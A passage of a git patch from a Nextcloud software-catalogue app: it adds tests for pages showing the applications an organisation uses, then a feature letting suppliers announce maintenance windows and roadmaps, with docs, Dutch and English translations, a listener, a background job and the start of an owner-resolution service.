+test('the usage page shows the business owner and the technical owner', async ({ + page, +}) => { + const res = await apiCtx.put( + `/index.php/apps/openregister/api/objects/${cfg.register}/usage/${ids.usageX}`, + { + data: { + consumer: ids.org, + module: ids.x, + moduleVersion: ids.x21, + status: 'In production', + businessOwner: ids.anna, + technicalOwner: ids.bram, + }, + }, + ) + expect(res.ok()).toBe(true) + await gotoAppRoute(page, `/gebruik/${ids.usageX}`) + await dismissSupportDialog(page) + await expect(page.getByText('Business owner').first()).toBeVisible({ + timeout: 30000, + }) + await expect(page.getByText(anna).first()).toBeVisible() + await expect(page.getByText(bram).first()).toBeVisible() +}) + +// @e2e application-usage-pages::going-live +test('Go live moves a planned usage to In production', async ({ page }) => { + await gotoAppRoute(page, `/gebruik/${ids.usageY}`) + await dismissSupportDialog(page) + await page + .getByRole('button', { name: /go live/i }) + .first() + .click() + await expect(page.getByText('In production').first()).toBeVisible({ + timeout: 30000, + }) +}) diff --git a/tests/vitest/usages.spec.js b/tests/vitest/usages.spec.js new file mode 100644 index 000000000..1e523f4e1 --- /dev/null +++ b/tests/vitest/usages.spec.js @@ -0,0 +1,189 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * Applications in use: the usage pages as the app builds them (manifest.d + * merged the way src/main.js merges it), the add action on the application + * page and the usage list on the organisation page, and the seeded usages + * validated against the real usage schema. + * + * @spec openspec/specs/application-usage-pages/spec.md + */ + +import addFormats from 'ajv-formats' +import Ajv2020 from 'ajv/dist/2020.js' +import * as fs from 'fs' +import * as path from 'path' +import { describe, expect, it } from 'vitest' +import register from '../../lib/Settings/softwarecatalogus_register.json' +import mock from '../../lib/Settings/stackiq_mock_register.json' +import manifestSchema from '../../node_modules/@conduction/nextcloud-vue/src/schemas/app-manifest-v2.schema.json' +import { buildManifest } from '../../node_modules/@conduction/nextcloud-vue/src/utils/buildManifest.js' +import base from '../../src/manifest.json' +import menuLayout from '../../src/menu-layout.json' + +const dir = path.resolve(__dirname, '../../src/manifest.d') +const merged = buildManifest( + base, + fs + .readdirSync(dir) + .filter((f) => f.endsWith('.json')) + .sort() + .map((f) => JSON.parse(fs.readFileSync(path.join(dir, f), 'utf8'))), + menuLayout, +) +const page = (id) => merged.pages.find((p) => p.id === id) +const widget = (pageId, widgetId) => + page(pageId).config.widgets.find((w) => w.id === widgetId) + +const usage = register.components.schemas.usage + +/** + * A validator built from the real usage properties. A relation is checked as + * an object or an id string, the way OpenRegister accepts it. + * + * @return {Function} The compiled Ajv validator. + */ +function compileUsage() { + const ajv = new Ajv2020({ allErrors: true, strict: false }) + addFormats(ajv) + const properties = Object.fromEntries( + Object.entries(usage.properties).map(([key, prop]) => [ + key, + prop.$ref + ? { type: ['object', 'string'] } + : { type: prop.type, enum: prop.enum, format: prop.format }, + ]), + ) + return ajv.compile({ type: 'object', properties }) +} + +describe('the usage pages', () => { + it('builds a manifest the v2 schema accepts', () => { + const ajv = new Ajv2020({ allErrors: true, strict: false }) + addFormats(ajv) + const validate = ajv.compile(manifestSchema) + expect(validate(merged), JSON.stringify(validate.errors)).toBe(true) + }) + + it('lists Applications in use under Applications', () => { + const modules = merged.menu.find((m) => m.id === 'Modules') + const child = modules.children.find((c) => c.id === 'Gebruik') + expect(child).toMatchObject({ + label: 'Applications in use', + route: 'Gebruik', + }) + expect(merged.menu.find((m) => m.id === 'Gebruik')).toBeUndefined() + }) + + it('lists usages with version, status and both owners, filtered on real status values', () => { + const index = page('Gebruik') + expect(index.route).toBe('/gebruik') + expect(index.config.schema).toBe('usage') + expect(index.config.columns).toEqual( + expect.arrayContaining([ + 'module', + 'moduleVersion', + 'status', + 'businessOwner', + 'technicalOwner', + ]), + ) + for (const column of index.config.columns) { + expect(usage.properties, column).toHaveProperty(column) + } + const statuses = index.config.quickFilters + .map((q) => q.filter.status) + .filter(Boolean) + expect(statuses).toEqual(usage.properties.status.enum) + }) + + it('shows version, status and owners on the detail page and offers the lifecycle', () => { + const detail = page('GebruikDetail') + expect(detail.route).toBe('/gebruik/:id') + expect(detail.config.lifecycleActions).toEqual({ field: 'status' }) + const include = widget('GebruikDetail', 'gb-data').content.include + expect(include).toEqual( + expect.arrayContaining([ + 'module', + 'moduleVersion', + 'status', + 'businessOwner', + 'technicalOwner', + ]), + ) + for (const field of include) { + expect(usage.properties, field).toHaveProperty(field) + } + const layoutIds = detail.config.layout.map((l) => l.widgetId) + expect(layoutIds.sort()).toEqual( + detail.config.widgets.map((w) => w.id).sort(), + ) + }) +}) + +describe('adding an application to the landscape', () => { + it('offers Add to our landscape on the application page, with the application filled in', () => { + const list = widget('ModuleDetail', 'md-usages') + expect(list.content.allowCreate).not.toBe(false) + expect(list.content.addLabel).toBe('Add to our landscape') + expect(list.content.filter).toEqual({ module: '@objectId' }) + expect(list.content.rowRoute).toBe('GebruikDetail') + expect(list.content.formIncludeFields).toEqual([ + 'consumer', + 'moduleVersion', + 'status', + 'businessOwner', + 'technicalOwner', + ]) + for (const field of list.content.formIncludeFields) { + expect(usage.properties, field).toHaveProperty(field) + } + }) + + it('offers only versions of the application in the version picker', () => { + expect(usage.properties.moduleVersion['x-relation-filter']).toEqual({ + module: '@object.module', + }) + }) + + it('lists the applications an organisation uses on its page', () => { + const list = widget('OrganisatieDetail', 'org-usages') + expect(list.content).toMatchObject({ + schema: 'usage', + filter: { consumer: '@objectId' }, + rowRoute: 'GebruikDetail', + }) + expect( + page('OrganisatieDetail').config.layout.map((l) => l.widgetId), + ).toContain('org-usages') + }) +}) + +describe('the seeded usages', () => { + const validate = compileUsage() + const seeds = [ + ...register.components.objects, + ...mock.components.objects, + ].filter((o) => o['@self'] && o['@self'].schema === 'usage') + + it('are valid against the usage schema', () => { + expect(seeds.length).toBeGreaterThan(0) + for (const seed of seeds) { + expect( + validate(seed), + `${seed['@self'].slug}: ${JSON.stringify(validate.errors)}`, + ).toBe(true) + } + }) + + it('include usages in production with both owners and a planned one', () => { + const withOwners = seeds.filter( + (s) => s.businessOwner !== undefined && s.technicalOwner !== undefined, + ) + expect(withOwners.length).toBeGreaterThan(0) + expect(seeds.map((s) => s.status)).toEqual( + expect.arrayContaining(['In production', 'Planned']), + ) + }) +}) From 100db8c47343eb7775955ecc5fb88a773cb53914 Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Tue, 29 Sep 2026 23:52:15 +0200 Subject: [PATCH 056/176] feat(maintenance): follow planned maintenance on the applications you use, and read a supplier's roadmap (#1197) * test(maintenance): the window schema, rules, owner resolution, pages and roadmap, red before the change * feat(maintenance): follow planned maintenance on the applications you use, and read a supplier's roadmap * fix(maintenance): a third demo window per register, a spec tag on refId, and the usages test lint error #1194 left --- docs/features/maintenance-and-roadmap.md | 35 ++ l10n/en.js | 42 ++- l10n/en.json | 42 ++- l10n/nl.js | 42 ++- l10n/nl.json | 42 ++- lib/AppInfo/Application.php | 4 + .../MaintenanceRecipientsJob.php | 69 ++++ .../MaintenanceRecipientsListener.php | 93 +++++ lib/Service/MaintenanceRecipientService.php | 338 ++++++++++++++++++ lib/Service/SettingsService.php | 4 + .../register.d/maintenance-and-roadmap.json | 20 ++ lib/Settings/softwarecatalogus_register.json | 284 ++++++++++++++- lib/Settings/stackiq_mock_register.json | 84 +++++ .../.openspec.yaml | 0 .../design.md | 8 + .../proposal.md | 0 .../maintenance-and-supplier-roadmap/spec.md | 2 +- .../tasks.md | 20 +- openspec/parity/capabilities.json | 30 +- .../maintenance-and-supplier-roadmap/spec.md | 57 +++ .../maintenance/UpcomingMaintenanceWidget.vue | 234 ++++++++++++ src/components/roadmap/ProductRoadmap.vue | 185 ++++++++++ src/customComponents.js | 6 + src/icons.js | 2 + src/main.js | 11 + src/manifest.json | 28 +- src/utils/maintenance.js | 111 ++++++ tests/Stubs/Event/ObjectCreatedEvent.php | 57 +++ .../MaintenanceRecipientsListenerTest.php | 282 +++++++++++++++ .../MaintenanceRoadmapFragmentTest.php | 199 +++++++++++ tests/bootstrap-unit.php | 2 + tests/e2e/workflows/maintenance.spec.ts | 161 +++++++++ tests/vitest/maintenance.spec.js | 283 +++++++++++++++ tests/vitest/usages.spec.js | 5 +- 34 files changed, 2745 insertions(+), 37 deletions(-) create mode 100644 docs/features/maintenance-and-roadmap.md create mode 100644 lib/BackgroundJob/MaintenanceRecipientsJob.php create mode 100644 lib/EventListener/MaintenanceRecipientsListener.php create mode 100644 lib/Service/MaintenanceRecipientService.php create mode 100644 lib/Settings/register.d/maintenance-and-roadmap.json rename openspec/changes/{lifecycle-maintenance-and-supplier-roadmap => archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap}/.openspec.yaml (100%) rename openspec/changes/{lifecycle-maintenance-and-supplier-roadmap => archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap}/design.md (69%) rename openspec/changes/{lifecycle-maintenance-and-supplier-roadmap => archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap}/proposal.md (100%) rename openspec/changes/{lifecycle-maintenance-and-supplier-roadmap => archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap}/specs/maintenance-and-supplier-roadmap/spec.md (95%) rename openspec/changes/{lifecycle-maintenance-and-supplier-roadmap => archive/2026-09-29-lifecycle-maintenance-and-supplier-roadmap}/tasks.md (83%) create mode 100644 openspec/specs/maintenance-and-supplier-roadmap/spec.md create mode 100644 src/components/maintenance/UpcomingMaintenanceWidget.vue create mode 100644 src/components/roadmap/ProductRoadmap.vue create mode 100644 src/utils/maintenance.js create mode 100644 tests/Stubs/Event/ObjectCreatedEvent.php create mode 100644 tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php create mode 100644 tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php create mode 100644 tests/e2e/workflows/maintenance.spec.ts create mode 100644 tests/vitest/maintenance.spec.js diff --git a/docs/features/maintenance-and-roadmap.md b/docs/features/maintenance-and-roadmap.md new file mode 100644 index 000000000..880f87e94 --- /dev/null +++ b/docs/features/maintenance-and-roadmap.md @@ -0,0 +1,35 @@ + + +# Maintenance and roadmap + +Suppliers announce planned maintenance on their applications and publish where each application is heading. Organisations that use an application see the maintenance on their dashboard and on the application's page, and read the roadmap before they plan an upgrade. + +Specification: [`openspec/specs/maintenance-and-supplier-roadmap/spec.md`](https://github.com/ConductionNL/stackiq/blob/development/openspec/specs/maintenance-and-supplier-roadmap/spec.md). + +## Announcing maintenance + +Open your application's page under **Applications** and click **Announce maintenance** in the **Planned maintenance** section. Fill in: + +- **Title** and **Description**: what happens and what users should do. +- **Version**: only when the maintenance concerns one version. +- **Starts at** and **Ends at**. +- **Impact**: No impact, Degraded or Unavailable. + +A new window starts as Planned. From its page you move it to In progress, Completed or Cancelled. + +## Who is told + +When you announce a window, stackiq looks up every organisation that uses the application and the business owner and technical owner of each usage. Those owners get a Nextcloud notification, and a reminder the day before the window starts while it is still planned. Owners are set on the usage, under **Applications in use**; a usage without owners still shows the window on its organisation's dashboard. + +## Following maintenance + +The dashboard lists **Planned maintenance** on the applications your organisation uses in the next 30 days, with the time window and the impact. Each application's page lists all its planned maintenance. + +## The roadmap + +A supplier writes the direction of an application in the **Roadmap** field of the application. The application's page shows it with the application's versions on a timeline, the planned versions first. A version is placed on its go-live date, or on the date development started when it has no go-live date yet. + +Under **Module versions**, the **Planned releases** tab lists the versions still in development, with the date development started. A supplier releases a planned version from its page with **Release**. diff --git a/l10n/en.js b/l10n/en.js index f6352539d..78ad2bf27 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -828,7 +828,47 @@ OC.L10N.register( "Add to our landscape": "Add to our landscape", "Connections and services": "Connections and services", "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "The applications your organisation uses, with the version it runs, where it stands and who owns it.", - "No applications in use recorded for this organisation yet": "No applications in use recorded for this organisation yet" + "No applications in use recorded for this organisation yet": "No applications in use recorded for this organisation yet", + "Maintenance window": "Maintenance window", + "Maintenance a supplier plans on one of its products, with the time window and the expected impact.": "Maintenance a supplier plans on one of its products, with the time window and the expected impact.", + "The product the maintenance is on.": "The product the maintenance is on.", + "The version the maintenance is on, when it concerns one version.": "The version the maintenance is on, when it concerns one version.", + "What the maintenance is, in a few words.": "What the maintenance is, in a few words.", + "What changes and what users should do.": "What changes and what users should do.", + "Starts at": "Starts at", + "When the maintenance starts.": "When the maintenance starts.", + "Ends at": "Ends at", + "When the maintenance ends.": "When the maintenance ends.", + "Impact": "Impact", + "What users notice while the maintenance runs.": "What users notice while the maintenance runs.", + "Where the maintenance stands.": "Where the maintenance stands.", + "Owners to notify": "Owners to notify", + "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.": "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.", + "Owners resolved at": "Owners resolved at", + "When the owners to notify were resolved.": "When the owners to notify were resolved.", + "No impact": "No impact", + "Degraded": "Degraded", + "Unavailable": "Unavailable", + "In progress": "In progress", + "Completed": "Completed", + "Cancelled": "Cancelled", + "Start the maintenance.": "Start the maintenance.", + "Complete the maintenance.": "Complete the maintenance.", + "Cancel the maintenance.": "Cancel the maintenance.", + "Roadmap": "Roadmap", + "The direction the supplier takes with this application: what the next versions bring and when.": "The direction the supplier takes with this application: what the next versions bring and when.", + "Planned maintenance": "Planned maintenance", + "Announce maintenance": "Announce maintenance", + "No maintenance planned on this application": "No maintenance planned on this application", + "Planned releases": "Planned releases", + "Loading planned maintenance": "Loading planned maintenance", + "The planned maintenance could not be loaded.": "The planned maintenance could not be loaded.", + "No maintenance planned on the applications you use in the next 30 days": "No maintenance planned on the applications you use in the next 30 days", + "{start} to {end}": "{start} to {end}", + "Loading the roadmap": "Loading the roadmap", + "The roadmap could not be loaded.": "The roadmap could not be loaded.", + "The supplier has not published a roadmap for this application": "The supplier has not published a roadmap for this application", + "No versions with a date yet": "No versions with a date yet" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 0bb16ff62..a8fc89421 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -827,6 +827,46 @@ "Add to our landscape": "Add to our landscape", "Connections and services": "Connections and services", "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "The applications your organisation uses, with the version it runs, where it stands and who owns it.", - "No applications in use recorded for this organisation yet": "No applications in use recorded for this organisation yet" + "No applications in use recorded for this organisation yet": "No applications in use recorded for this organisation yet", + "Maintenance window": "Maintenance window", + "Maintenance a supplier plans on one of its products, with the time window and the expected impact.": "Maintenance a supplier plans on one of its products, with the time window and the expected impact.", + "The product the maintenance is on.": "The product the maintenance is on.", + "The version the maintenance is on, when it concerns one version.": "The version the maintenance is on, when it concerns one version.", + "What the maintenance is, in a few words.": "What the maintenance is, in a few words.", + "What changes and what users should do.": "What changes and what users should do.", + "Starts at": "Starts at", + "When the maintenance starts.": "When the maintenance starts.", + "Ends at": "Ends at", + "When the maintenance ends.": "When the maintenance ends.", + "Impact": "Impact", + "What users notice while the maintenance runs.": "What users notice while the maintenance runs.", + "Where the maintenance stands.": "Where the maintenance stands.", + "Owners to notify": "Owners to notify", + "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.": "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.", + "Owners resolved at": "Owners resolved at", + "When the owners to notify were resolved.": "When the owners to notify were resolved.", + "No impact": "No impact", + "Degraded": "Degraded", + "Unavailable": "Unavailable", + "In progress": "In progress", + "Completed": "Completed", + "Cancelled": "Cancelled", + "Start the maintenance.": "Start the maintenance.", + "Complete the maintenance.": "Complete the maintenance.", + "Cancel the maintenance.": "Cancel the maintenance.", + "Roadmap": "Roadmap", + "The direction the supplier takes with this application: what the next versions bring and when.": "The direction the supplier takes with this application: what the next versions bring and when.", + "Planned maintenance": "Planned maintenance", + "Announce maintenance": "Announce maintenance", + "No maintenance planned on this application": "No maintenance planned on this application", + "Planned releases": "Planned releases", + "Loading planned maintenance": "Loading planned maintenance", + "The planned maintenance could not be loaded.": "The planned maintenance could not be loaded.", + "No maintenance planned on the applications you use in the next 30 days": "No maintenance planned on the applications you use in the next 30 days", + "{start} to {end}": "{start} to {end}", + "Loading the roadmap": "Loading the roadmap", + "The roadmap could not be loaded.": "The roadmap could not be loaded.", + "The supplier has not published a roadmap for this application": "The supplier has not published a roadmap for this application", + "No versions with a date yet": "No versions with a date yet" } } diff --git a/l10n/nl.js b/l10n/nl.js index ac011f44f..b2a3bd845 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -898,7 +898,47 @@ OC.L10N.register( "Add to our landscape": "Toevoegen aan ons landschap", "Connections and services": "Koppelingen en diensten", "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "De applicaties die uw organisatie gebruikt, met de versie die draait, de fase waarin ze staan en wie de eigenaar is.", - "No applications in use recorded for this organisation yet": "Nog geen applicaties in gebruik vastgelegd voor deze organisatie" + "No applications in use recorded for this organisation yet": "Nog geen applicaties in gebruik vastgelegd voor deze organisatie", + "Maintenance window": "Onderhoudsvenster", + "Maintenance a supplier plans on one of its products, with the time window and the expected impact.": "Onderhoud dat een leverancier plant op een van zijn producten, met het tijdvenster en de verwachte impact.", + "The product the maintenance is on.": "Het product waarop het onderhoud plaatsvindt.", + "The version the maintenance is on, when it concerns one version.": "De versie waarop het onderhoud plaatsvindt, als het om één versie gaat.", + "What the maintenance is, in a few words.": "Wat het onderhoud is, in een paar woorden.", + "What changes and what users should do.": "Wat er verandert en wat gebruikers moeten doen.", + "Starts at": "Begint op", + "When the maintenance starts.": "Wanneer het onderhoud begint.", + "Ends at": "Eindigt op", + "When the maintenance ends.": "Wanneer het onderhoud eindigt.", + "Impact": "Impact", + "What users notice while the maintenance runs.": "Wat gebruikers merken zolang het onderhoud loopt.", + "Where the maintenance stands.": "Waar het onderhoud staat.", + "Owners to notify": "Te informeren eigenaren", + "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.": "De Nextcloud-gebruikers die eigenaar zijn van een gebruik van het product, bepaald bij de aankondiging van het onderhoud.", + "Owners resolved at": "Eigenaren bepaald op", + "When the owners to notify were resolved.": "Wanneer de te informeren eigenaren zijn bepaald.", + "No impact": "Geen impact", + "Degraded": "Verminderd", + "Unavailable": "Niet beschikbaar", + "In progress": "Bezig", + "Completed": "Afgerond", + "Cancelled": "Geannuleerd", + "Start the maintenance.": "Start het onderhoud.", + "Complete the maintenance.": "Rond het onderhoud af.", + "Cancel the maintenance.": "Annuleer het onderhoud.", + "Roadmap": "Roadmap", + "The direction the supplier takes with this application: what the next versions bring and when.": "De richting die de leverancier met deze applicatie kiest: wat de volgende versies brengen en wanneer.", + "Planned maintenance": "Gepland onderhoud", + "Announce maintenance": "Onderhoud aankondigen", + "No maintenance planned on this application": "Geen onderhoud gepland op deze applicatie", + "Planned releases": "Geplande releases", + "Loading planned maintenance": "Gepland onderhoud laden", + "The planned maintenance could not be loaded.": "Het geplande onderhoud kon niet worden geladen.", + "No maintenance planned on the applications you use in the next 30 days": "Geen onderhoud gepland op de applicaties die u gebruikt in de komende 30 dagen", + "{start} to {end}": "{start} tot {end}", + "Loading the roadmap": "Roadmap laden", + "The roadmap could not be loaded.": "De roadmap kon niet worden geladen.", + "The supplier has not published a roadmap for this application": "De leverancier heeft geen roadmap voor deze applicatie gepubliceerd", + "No versions with a date yet": "Nog geen versies met een datum" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 14eaf9a18..d4af67c76 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -897,6 +897,46 @@ "Add to our landscape": "Toevoegen aan ons landschap", "Connections and services": "Koppelingen en diensten", "The applications your organisation uses, with the version it runs, where it stands and who owns it.": "De applicaties die uw organisatie gebruikt, met de versie die draait, de fase waarin ze staan en wie de eigenaar is.", - "No applications in use recorded for this organisation yet": "Nog geen applicaties in gebruik vastgelegd voor deze organisatie" + "No applications in use recorded for this organisation yet": "Nog geen applicaties in gebruik vastgelegd voor deze organisatie", + "Maintenance window": "Onderhoudsvenster", + "Maintenance a supplier plans on one of its products, with the time window and the expected impact.": "Onderhoud dat een leverancier plant op een van zijn producten, met het tijdvenster en de verwachte impact.", + "The product the maintenance is on.": "Het product waarop het onderhoud plaatsvindt.", + "The version the maintenance is on, when it concerns one version.": "De versie waarop het onderhoud plaatsvindt, als het om één versie gaat.", + "What the maintenance is, in a few words.": "Wat het onderhoud is, in een paar woorden.", + "What changes and what users should do.": "Wat er verandert en wat gebruikers moeten doen.", + "Starts at": "Begint op", + "When the maintenance starts.": "Wanneer het onderhoud begint.", + "Ends at": "Eindigt op", + "When the maintenance ends.": "Wanneer het onderhoud eindigt.", + "Impact": "Impact", + "What users notice while the maintenance runs.": "Wat gebruikers merken zolang het onderhoud loopt.", + "Where the maintenance stands.": "Waar het onderhoud staat.", + "Owners to notify": "Te informeren eigenaren", + "The Nextcloud users who own a usage of the product, resolved when the maintenance is announced.": "De Nextcloud-gebruikers die eigenaar zijn van een gebruik van het product, bepaald bij de aankondiging van het onderhoud.", + "Owners resolved at": "Eigenaren bepaald op", + "When the owners to notify were resolved.": "Wanneer de te informeren eigenaren zijn bepaald.", + "No impact": "Geen impact", + "Degraded": "Verminderd", + "Unavailable": "Niet beschikbaar", + "In progress": "Bezig", + "Completed": "Afgerond", + "Cancelled": "Geannuleerd", + "Start the maintenance.": "Start het onderhoud.", + "Complete the maintenance.": "Rond het onderhoud af.", + "Cancel the maintenance.": "Annuleer het onderhoud.", + "Roadmap": "Roadmap", + "The direction the supplier takes with this application: what the next versions bring and when.": "De richting die de leverancier met deze applicatie kiest: wat de volgende versies brengen en wanneer.", + "Planned maintenance": "Gepland onderhoud", + "Announce maintenance": "Onderhoud aankondigen", + "No maintenance planned on this application": "Geen onderhoud gepland op deze applicatie", + "Planned releases": "Geplande releases", + "Loading planned maintenance": "Gepland onderhoud laden", + "The planned maintenance could not be loaded.": "Het geplande onderhoud kon niet worden geladen.", + "No maintenance planned on the applications you use in the next 30 days": "Geen onderhoud gepland op de applicaties die u gebruikt in de komende 30 dagen", + "{start} to {end}": "{start} tot {end}", + "Loading the roadmap": "Roadmap laden", + "The roadmap could not be loaded.": "De roadmap kon niet worden geladen.", + "The supplier has not published a roadmap for this application": "De leverancier heeft geen roadmap voor deze applicatie gepubliceerd", + "No versions with a date yet": "Nog geen versies met een datum" } } diff --git a/lib/AppInfo/Application.php b/lib/AppInfo/Application.php index dbaefa0c7..57e9303b2 100644 --- a/lib/AppInfo/Application.php +++ b/lib/AppInfo/Application.php @@ -32,6 +32,7 @@ use OCA\Stackiq\Controller\ContactpersonenController; use OCA\Stackiq\Dashboard\ConceptOrganisatiesWidget; use OCA\Stackiq\EventListener\DecisionConcludedListener; +use OCA\Stackiq\EventListener\MaintenanceRecipientsListener; use OCA\Stackiq\EventListener\ModuleComplianceSubscriber; use OCA\Stackiq\EventListener\ModuleRegistrationSubscriber; use OCA\Stackiq\EventListener\TestEventListener; @@ -807,6 +808,9 @@ private function registerEventListeners(IRegistrationContext $context): void { $context->registerEventListener(ObjectCreatedEvent::class, ModuleRegistrationSubscriber::class); $context->registerEventListener(ObjectUpdatedEvent::class, ModuleRegistrationSubscriber::class); + // Queue the owner resolution when a supplier announces maintenance (lifecycle-maintenance-and-supplier-roadmap). + $context->registerEventListener(ObjectCreatedEvent::class, MaintenanceRecipientsListener::class); + // Sync user profile updates into the contactpersoon mirror. $context->registerEventListener(UserProfileUpdatedEvent::class, UserProfileUpdatedEventListener::class); diff --git a/lib/BackgroundJob/MaintenanceRecipientsJob.php b/lib/BackgroundJob/MaintenanceRecipientsJob.php new file mode 100644 index 000000000..4798ea300 --- /dev/null +++ b/lib/BackgroundJob/MaintenanceRecipientsJob.php @@ -0,0 +1,69 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\BackgroundJob; + +use OCA\Stackiq\Service\MaintenanceRecipientService; +use OCP\AppFramework\Utility\ITimeFactory; +use OCP\BackgroundJob\QueuedJob; + +/** + * One owner resolution for one maintenance window. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ +class MaintenanceRecipientsJob extends QueuedJob { + + /** + * Constructor. + * + * @param ITimeFactory $time The time factory. + * @param MaintenanceRecipientService $recipients The owner resolution. + */ + public function __construct( + ITimeFactory $time, + private readonly MaintenanceRecipientService $recipients, + ) { + parent::__construct(time: $time); + }//end __construct() + + /** + * Resolve and record the owners for the window in the argument. + * + * @param mixed $argument `{uuid, register, schema}` of the window. + * + * @return void + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + protected function run($argument): void { + if (is_array($argument) === false || is_string($argument['uuid'] ?? null) === false) { + return; + } + + $this->recipients->recordRecipientsFor( + uuid: $argument['uuid'], + register: ($argument['register'] ?? null), + schema: ($argument['schema'] ?? null) + ); + }//end run() +}//end class diff --git a/lib/EventListener/MaintenanceRecipientsListener.php b/lib/EventListener/MaintenanceRecipientsListener.php new file mode 100644 index 000000000..c9c05a859 --- /dev/null +++ b/lib/EventListener/MaintenanceRecipientsListener.php @@ -0,0 +1,93 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\EventListener; + +use OCA\OpenRegister\Event\ObjectCreatedEvent; +use OCA\Stackiq\BackgroundJob\MaintenanceRecipientsJob; +use OCA\Stackiq\Service\MaintenanceRecipientService; +use OCP\BackgroundJob\IJobList; +use OCP\EventDispatcher\Event; +use OCP\EventDispatcher\IEventListener; +use Psr\Log\LoggerInterface; + +/** + * Queues the owner resolution for a newly created maintenance window. + * + * @template-implements IEventListener + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ +class MaintenanceRecipientsListener implements IEventListener { + + /** + * Constructor. + * + * @param MaintenanceRecipientService $recipients The schema check. + * @param IJobList $jobList The background job list. + * @param LoggerInterface $logger The logger. + */ + public function __construct( + private readonly MaintenanceRecipientService $recipients, + private readonly IJobList $jobList, + private readonly LoggerInterface $logger, + ) { + }//end __construct() + + /** + * Handle an object created event. + * + * @param Event $event The event. + * + * @return void + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public function handle(Event $event): void { + if (($event instanceof ObjectCreatedEvent) === false) { + return; + } + + $object = $event->getObject(); + try { + if ($this->recipients->isMaintenanceWindow(object: $object) === false) { + return; + } + + $this->jobList->add( + MaintenanceRecipientsJob::class, + [ + 'uuid' => $object->getUuid(), + 'register' => $object->getRegister(), + 'schema' => $object->getSchema(), + ] + ); + } catch (\Throwable $e) { + $this->logger->error( + 'MaintenanceRecipientsListener: could not queue the owner resolution', + ['uuid' => $object->getUuid(), 'error' => $e->getMessage()] + ); + } + }//end handle() +}//end class diff --git a/lib/Service/MaintenanceRecipientService.php b/lib/Service/MaintenanceRecipientService.php new file mode 100644 index 000000000..7006e8820 --- /dev/null +++ b/lib/Service/MaintenanceRecipientService.php @@ -0,0 +1,338 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use DateTimeImmutable; +use DateTimeInterface; +use OCA\OpenRegister\Contract\ObjectEntityInterface; +use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCP\IUserManager; +use Psr\Container\ContainerInterface; +use Psr\Log\LoggerInterface; + +/** + * Resolves the owners of every usage of a product to Nextcloud user ids and + * records them on a maintenance window. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ +class MaintenanceRecipientService { + + /** + * The usage fields that name an owner. + * + * @var array + */ + public const OWNER_FIELDS = ['businessOwner', 'technicalOwner']; + + /** + * Upper bound on the usages read for one product. + */ + private const USAGE_LIMIT = 1000; + + /** + * Constructor. + * + * @param SettingsService $settingsService The register and schema lookups. + * @param StackiqContactSyncService $contacts The Nextcloud Contacts lookups. + * @param IUserManager $userManager The Nextcloud user manager. + * @param ContainerInterface $container The DI container, for OpenRegister's ObjectService. + * @param LoggerInterface $logger The logger. + */ + public function __construct( + private readonly SettingsService $settingsService, + private readonly StackiqContactSyncService $contacts, + private readonly IUserManager $userManager, + private readonly ContainerInterface $container, + private readonly LoggerInterface $logger, + ) { + }//end __construct() + + /** + * Whether an object belongs to the maintenanceWindow schema. + * + * @param ObjectEntityInterface $object The object from the event. + * + * @return boolean True for a maintenance window. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + public function isMaintenanceWindow(ObjectEntityInterface $object): bool { + $schemaId = $this->settingsService->getSchemaIdForObjectType('maintenanceWindow'); + return $schemaId !== null && (string) $schemaId === (string) $object->getSchema(); + }//end isMaintenanceWindow() + + /** + * 